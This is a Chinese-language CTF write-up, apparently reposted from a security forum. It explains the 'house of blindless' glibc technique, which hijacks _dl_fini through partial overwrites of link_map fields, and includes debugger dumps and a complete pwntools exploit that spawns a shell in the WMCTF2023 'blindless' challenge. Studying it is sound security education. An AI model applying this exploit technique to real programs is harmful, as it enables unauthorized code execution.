house of blindless学习利用

admin 2024年5月18日10:27:33评论9 views字数 11955阅读39分51秒阅读模式

前言

复现wm新学到的一种利用手法,实际和banana的利用有些相像

利用条件:

  • 无泄露情况下可以通过偏移实现libc区域的任意写,能泄露情况下肯定不如直接打exit_hook来得方便

  • 程序可以结束(可显式触发exit函数 或 主函数由libc_start_main启动且可正常退出),调用到_dl_fini 函数

利用方法:

  • 控制_rtld_global+2312为rdi

  • 低位覆盖使得l->l_info[DT_FINI]指向l->l_info[DT_INIT]->d_un.d_ptr(也可以选择其他Elf64_Dyn类型的结构体)

  • 控制l_addr后门函数地址-l_info[DT_INIT]

  • 控制l->l_info[DT_FINI_ARRAY]为0

  • 结束程序,调用_dl_fini

另一种情况:

当elf地址也可以被任意写的时候

我们直接修改l->l_info[DT_FINI]即可

源码分析:

ld.so文件中存在rtld_global指针指向rtld_global结构体,该结构体中存在多个_dl_ns 结构体,存储着elf各段的符号结构体

if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
}
/* Next try the old-style destructor. */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}

控制l->l_info[DT_FINI_ARRAY]为0,避开上面的分支,来进入下面的分支

l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr

_rtld_global

pwndbg> p _rtld_global
#p _rtld_global._dl_ns[0]
$1 = {
_dl_ns = {{
_ns_loaded = 0x7f36620c3190,
_ns_nloaded = 4,
_ns_main_searchlist = 0x7f36620c3450,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '00' <repeats 16 times>, "01", '00' <repeats 22 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
}, {
_ns_loaded = 0x0,
_ns_nloaded = 0,
_ns_main_searchlist = 0x0,
_ns_global_scope_alloc = 0,
_ns_global_scope_pending_adds = 0,
_ns_unique_sym_table = {
lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 0,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '00' <repeats 39 times>,
__align = 0
}
},
entries = 0x0,
size = 0,
n_elements = 0,
free = 0x0
},
_ns_debug = {
r_version = 0,
r_map = 0x0,
r_brk = 0,
r_state = RT_CONSISTENT,
r_ldbase = 0
}
} <repeats 15 times>},
_dl_nns = 1,
_dl_load_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '00' <repeats 16 times>, "01", '00' <repeats 22 times>,
__align = 0
}
},
_dl_load_write_lock = {
mutex = {
__data = {
__lock = 0,
__count = 0,
__owner = 0,
__nusers = 0,
__kind = 1,
__spins = 0,
__elision = 0,
__list = {
__prev = 0x0,
__next = 0x0
}
},
__size = '00' <repeats 16 times>, "01", '00' <repeats 22 times>,
__align = 0
}
},
_dl_load_adds = 4,
_dl_initfirst = 0x0,
_dl_profile_map = 0x0,
_dl_num_relocations = 98,
_dl_num_cache_relocations = 3,
_dl_all_dirs = 0x7f36620c3cd0,
_dl_rtld_map = {
l_addr = 139871549734912,
l_name = 0x55ac4ada3318 "/lib64/ld-linux-x86-64.so.2",
l_ld = 0x7f36620c1e68,
l_next = 0x0,
l_prev = 0x7f3662078000,
l_real = 0x7f36620c29e8 <_rtld_global+2440>,
l_ns = 0,
l_libname = 0x7f36620c3050 <_dl_rtld_libname>,
l_info = {0x0, 0x0, 0x7f36620c1ee8, 0x7f36620c1ed8, 0x7f36620c1e78, 0x7f36620c1e98, 0x7f36620c1ea8, 0x7f36620c1f18, 0x7f36620c1f28, 0x7f36620c1f38, 0x7f36620c1eb8, 0x7f36620c1ec8, 0x0, 0x0, 0x7f36620c1e68, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7f36620c1ef8, 0x0, 0x0, 0x7f36620c1f08, 0x0 <repeats 13 times>, 0x7f36620c1f58, 0x7f36620c1f48, 0x0, 0x0, 0x7f36620c1f78, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7f36620c1f68, 0x0 <repeats 25 times>, 0x7f36620c1e88},
l_phdr = 0x7f3662094040,
l_entry = 0,
l_phnum = 11,
l_ldnum = 0,
l_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_symbolic_searchlist = {
r_list = 0x0,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7f3662078940,
l_nversions = 6,
l_nbuckets = 17,
l_gnu_bitmask_idxbits = 3,
l_gnu_shift = 8,
l_gnu_bitmask = 0x7f36620943d8,
{
l_gnu_buckets = 0x7f36620943f8,
l_chain = 0x7f36620943f8
},
......

_dl_rtld_map

pwndbg> p *(struct link_map*) 0x00007f36620c3190
$7 = {
l_addr = 94198478548992,
l_name = 0x7f36620c3730 "",
l_ld = 0x55ac4ada6d98,
l_next = 0x7f36620c3740,
l_prev = 0x0,
l_real = 0x7f36620c3190,
l_ns = 0,
l_libname = 0x7f36620c3718,
l_info = {0x0, 0x55ac4ada6d98, 0x55ac4ada6e78, 0x55ac4ada6e68, 0x0, 0x55ac4ada6e18, 0x55ac4ada6e28, 0x55ac4ada6ea8, 0x55ac4ada6eb8, 0x55ac4ada6ec8, 0x55ac4ada6e38, 0x55ac4ada6e48, 0x55ac4ada6da8, 0x55ac4ada6db8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55ac4ada6e88, 0x55ac4ada6e58, 0x0, 0x55ac4ada6e98, 0x55ac4ada6ee8, 0x55ac4ada6dc8, 0x55ac4ada6de8, 0x55ac4ada6dd8, 0x55ac4ada6df8, 0x0, 0x55ac4ada6ed8, 0x0, 0x0, 0x0, 0x0, 0x55ac4ada6f08, 0x55ac4ada6ef8, 0x0, 0x0, 0x55ac4ada6ee8, 0x0, 0x55ac4ada6f28, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x55ac4ada6f18, 0x0 <repeats 25 times>, 0x55ac4ada6e08},
l_phdr = 0x55ac4ada3040,
l_entry = 94198478553376,
l_phnum = 13,
l_ldnum = 0,
l_searchlist = {
r_list = 0x7f3662078520,
r_nlist = 3
},
l_symbolic_searchlist = {
r_list = 0x7f36620c3710,
r_nlist = 0
},
l_loader = 0x0,
l_versions = 0x7f3662078540,
l_nversions = 4,
l_nbuckets = 2,
l_gnu_bitmask_idxbits = 0,
l_gnu_shift = 6,
l_gnu_bitmask = 0x55ac4ada33b0,
{
l_gnu_buckets = 0x55ac4ada33b8,
l_chain = 0x55ac4ada33b8
},
{
l_gnu_chain_zero = 0x55ac4ada3390,
l_buckets = 0x55ac4ada3390
},
l_direct_opencount = 1,
l_type = lt_executable,
l_relocated = 1,
l_init_called = 1,
l_global = 1,
l_reserved = 0,
l_phdr_allocated = 0,
l_soname_added = 0,
l_faked = 0,
l_need_tls_init = 0,
l_auditing = 0,
l_audit_any_plt = 0,
l_removed = 0,
l_contiguous = 0,
l_symbolic_in_local_scope = 0,
l_free_initfini = 0,
l_nodelete_active = false,
l_nodelete_pending = false,
l_cet = 7,
l_rpath_dirs = {
dirs = 0xffffffffffffffff,
malloced = 0
},
......

l_addr处地址为elf_base

house of blindless学习利用

l->l_info[DT_FINI]处地址和l->l_info[DT_INIT]仅最后一位不同

通过libc区域的任意写,可进行低位覆盖l->l_info[DT_FINI]->l_info[DT_INIT]

pwndbg> p /x *_rtld_global._dl_ns[0]._ns_loaded.l_info[12]
$3 = {
d_tag = 0xc,
d_un = {
d_val = 0x1000,
d_ptr = 0x1000
}
}
pwndbg> p /x *_rtld_global._dl_ns[0]._ns_loaded.l_info[13]
$4 = {
d_tag = 0xd,
d_un = {
d_val = 0x1558,
d_ptr = 0x1558
}
}

l->l_info[DT_FINI]为0x1000,l->l_addrelf_base,根据偏移对l->l_addr改写即可实现l->l_addrl->l_info[DT_FINI]->d_un.d_ptr最终指向我们想要执行的地址大于elf_base+0x1000的函数

LOAD:0000000000003D98                               ; ELF Dynamic Information
LOAD:0000000000003D98 ; ===========================================================================
LOAD:0000000000003D98
LOAD:0000000000003D98 ; Segment type: Pure data
LOAD:0000000000003D98 ; Segment permissions: Read/Write
LOAD:0000000000003D98 LOAD segment mempage public 'DATA' use64
LOAD:0000000000003D98 assume cs:LOAD
LOAD:0000000000003D98 ;org 3D98h
LOAD:0000000000003D98 01 00 00 00 00 00 00 00 01 00+_DYNAMIC Elf64_Dyn <1, 1> ; DATA XREF: LOAD:00000000000001A0o
LOAD:0000000000003D98 00 00 00 00 00 00 ; .got:_GLOBAL_OFFSET_TABLE_o
LOAD:0000000000003D98 ; DT_NEEDED libc.so.6
LOAD:0000000000003DA8 0C 00 00 00 00 00 00 00 00 10+Elf64_Dyn <0Ch, 1000h> ; DT_INIT
LOAD:0000000000003DB8 0D 00 00 00 00 00 00 00 58 15+Elf64_Dyn <0Dh, 1558h> ; DT_FINI
LOAD:0000000000003DC8 19 00 00 00 00 00 00 00 88 3D+Elf64_Dyn <19h, 3D88h> ; DT_INIT_ARRAY
LOAD:0000000000003DD8 1B 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000003DE8 1A 00 00 00 00 00 00 00 90 3D+Elf64_Dyn <1Ah, 3D90h> ; DT_FINI_ARRAY
LOAD:0000000000003DF8 1C 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000003E08 F5 FE FF 6F 00 00 00 00 A0 03+Elf64_Dyn <6FFFFEF5h, 3A0h> ; DT_GNU_HASH
LOAD:0000000000003E18 05 00 00 00 00 00 00 00 00 05+Elf64_Dyn <5, 500h> ; DT_STRTAB
LOAD:0000000000003E28 06 00 00 00 00 00 00 00 C8 03+Elf64_Dyn <6, 3C8h> ; DT_SYMTAB
LOAD:0000000000003E38 0A 00 00 00 00 00 00 00 BD 00+Elf64_Dyn <0Ah, 0BDh> ; DT_STRSZ
LOAD:0000000000003E48 0B 00 00 00 00 00 00 00 18 00+Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000003E58 15 00 00 00 00 00 00 00 00 00+Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000003E68 03 00 00 00 00 00 00 00 88 3F+Elf64_Dyn <3, 3F88h> ; DT_PLTGOT
LOAD:0000000000003E78 02 00 00 00 00 00 00 00 A8 00+Elf64_Dyn <2, 0A8h> ; DT_PLTRELSZ
LOAD:0000000000003E88 14 00 00 00 00 00 00 00 07 00+Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000003E98 17 00 00 00 00 00 00 00 C8 06+Elf64_Dyn <17h, 6C8h> ; DT_JMPREL
LOAD:0000000000003EA8 07 00 00 00 00 00 00 00 08 06+Elf64_Dyn <7, 608h> ; DT_RELA
LOAD:0000000000003EB8 08 00 00 00 00 00 00 00 C0 00+Elf64_Dyn <8, 0C0h> ; DT_RELASZ
LOAD:0000000000003EC8 09 00 00 00 00 00 00 00 18 00+Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000003ED8 1E 00 00 00 00 00 00 00 08 00+Elf64_Dyn <1Eh, 8> ; DT_FLAGS
LOAD:0000000000003EE8 FB FF FF 6F 00 00 00 00 01 00+Elf64_Dyn <6FFFFFFBh, 8000001h> ; DT_FLAGS_1
LOAD:0000000000003EF8 FE FF FF 6F 00 00 00 00 D8 05+Elf64_Dyn <6FFFFFFEh, 5D8h> ; DT_VERNEED
LOAD:0000000000003F08 FF FF FF 6F 00 00 00 00 01 00+Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000003F18 F0 FF FF 6F 00 00 00 00 BE 05+Elf64_Dyn <6FFFFFF0h, 5BEh> ; DT_VERSYM
LOAD:0000000000003F28 F9 FF FF 6F 00 00 00 00 03 00+Elf64_Dyn <6FFFFFF9h, 3> ; DT_RELACOUNT
LOAD:0000000000003F38 00 00 00 00 00 00 00 00 00 00+Elf64_Dyn <0> ; DT_NULL

当然除了l->l_info[DT_FINI],我们也可以寻找其他Elf64_Dyn类型的结构体

例题WMCTF2023-blindless

house of blindless学习利用

静态分析:

保护全开,主程序并不复杂,同时存在后门函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v4; // rdx
unsigned int sizea; // [rsp+Ch] [rbp-14h]
unsigned int size; // [rsp+Ch] [rbp-14h]
char *code; // [rsp+10h] [rbp-10h]

write(1, "Pls input the data sizen", 0x18uLL);
sizea = readInt();
data = malloc(sizea);
if ( !data )
goto LABEL_2;
write(1, "Pls input the code sizen", 0x18uLL);
size = readInt();
if ( size > 0x100 )
return -1;
code = malloc(size);
if ( !code )
{
LABEL_2:
write(1, "errorn", 6uLL);
return -1;
}
v4 = strlen("Pls input your coden");
write(1, "Pls input your coden", v4);
read(0, code, size);
executeBrainfuck(code);
return 0;
}

进入readInt()函数,可发现没有对大小进行限制

也就是说当我们申请大小足够触发mmap时,会分配给我们一块libc前的区域,如果我们申请的足够大就意味这我们可以向后越界并通过executeBrainfuck()实现libc中任意写

int __cdecl readInt()
{
char buf[32]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]

v2 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
read(0, buf, 0x20uLL);
return atoi(buf);
}

house of blindless学习利用

为方便记忆,我们先称mmap申请的空间基址为mmap_base

查看一下executeBrainfuck():

int executeBrainfuck(char *code)

{
char *code-local;
char c;
int i;

i = 0;
c = *code;
while ((i < 0x100 && (c != 'q'))) {
if (c < 'r') {
if (c == '@') {
data = data + *(uint *)(code + (long)i + 1);
i = i + 5;
}
else if (c < 'A') {
if (c == '>') {
data = data + 1;
i = i + 1;
}
else if (c < '?') {
if (c == '+') {
data = data + 8;
i = i + 1;
}
else if (c == '.') {
*data = code[(long)i + 1];
i = i + 2;
}
}
}
}
c = code[i];
}
return 0;
}

通过'@'指令我们可以增加data的大小,data地址为mmap_base+0x10

将我们传入的偏移加到data地址上

house of blindless学习利用

house of blindless学习利用

house of blindless学习利用

再通过.来向写内容,>来抬地址以此来循环写入

解题思路:

控制rdi(_rtld_global+2312)'/bin/shx00'

控制l->l_addrl->l_info[DT_FINI]->d_un.d_ptr最终指向system

控制l->l_info[DT_FINI_ARRAY] = 0

显式触发exit函数调用_dl_fini函数

动态调试:
payload = b'@' + p32(argv0-0x10) + write(b'/bin/shx00') 
#argv0 = _rtld_global+2312 - mmap_base
#argv0即_rtld_global+2312与mmap_base的偏移
#设置rdi = _rtld_global+2312 = '/bin/shx00'

house of blindless学习利用

payload += b'@' + p32(l_addr-argv0-8) + write(p8(0xe0)) 
#l_addr+0xe0

l->l_info[DT_INIT]->d_un.d_ptr为0x1000,我们通过低位覆盖使l->l_info[DT_FINI]指向l->l_info[DT_INIT]

l->l_addr=elf_base程序基地址,system_addr=elf_base+0x10e0

也就是说我们只需要修改l->l_addr储存的基地址的最低位为e0

即可控制l->l_addr来使得l->l_addrl->l_info[DT_FINI]->d_un.d_ptr最终指向system

house of blindless学习利用

当前data地址(mmap_base+argv0)加上l_addr-argv0-8的偏移,这里-8是因为我们写入'/bin/shx00'一共抬高了8字节

house of blindless学习利用

house of blindless学习利用

payload += b'@' + p32(dt_fini-l_addr-1) + write(p8(0xa8))
#上步操作抬高了1字节,所以-1

house of blindless学习利用

l->l_info[DT_FINI]地址为mmap_base+0x33e190+0xa8

l->l_info[DT_FINI]储存着elf_base + 0x3DB8l->l_info[DT_INIT]储存着elf_base + 0x3DA8

而我们将l->l_info[DT_FINI]储存的elf_base + 0x3DB8最后一位B8改为A8使得

l->l_info[DT_FINI]=l_info[DT_INIT]就能实现最终指向system

house of blindless学习利用

house of blindless学习利用

house of blindless学习利用

payload += b'@' + p32(dt_fini_array-dt_fini-1) + write(p64(0)) 
#l->l_info[DT_FINI_ARRAY] = 0

house of blindless学习利用

house of blindless学习利用

payload += b'q'
#显式触发exit函数调用_dl_fini函数,进而控制程序流

步入exit查看

house of blindless学习利用

house of blindless学习利用

house of blindless学习利用

house of blindless学习利用

house of blindless学习利用

exp:
# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
p = remote('127.0.0.1',8000)
else:
p = process(name)

libcso = './libc-2.31.so'
libc = ELF(libcso)
elf = ELF(name)

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def write(content):
res = b''
for i in range(len(content)):
res += b'.' + p8(content[i]) + b'>'
return res

def dbg():
gdb.attach(proc.pidof(p)[0])
pause()

ru('sizen')
sl(str(0x100000))
ru('sizen')
sl(str(0x100))
ru('coden')

argv0 = 0x33d968
l_addr = 0x33e190
dt_fini = 0x33e190+0xa8
dt_fini_array = 0x33e190+0x110

payload = b'@' + p32(argv0-0x10) + write(b'/bin/shx00')
payload += b'@' + p32(l_addr-argv0-8) + write(p8(0xe0))
payload += b'@' + p32(dt_fini-l_addr-1) + write(p8(0xa8))
payload += b'@' + p32(dt_fini_array-dt_fini-1) + write(p64(0))
payload += b'q'
#dbg()
sl(payload)


itr()

house of blindless学习利用

来源:【https://xz.aliyun.com/】,感谢【舒*满

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日10:27:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   house of blindless学习利用https://cn-sec.com/archives/2044561.html

发表评论

匿名网友 填写信息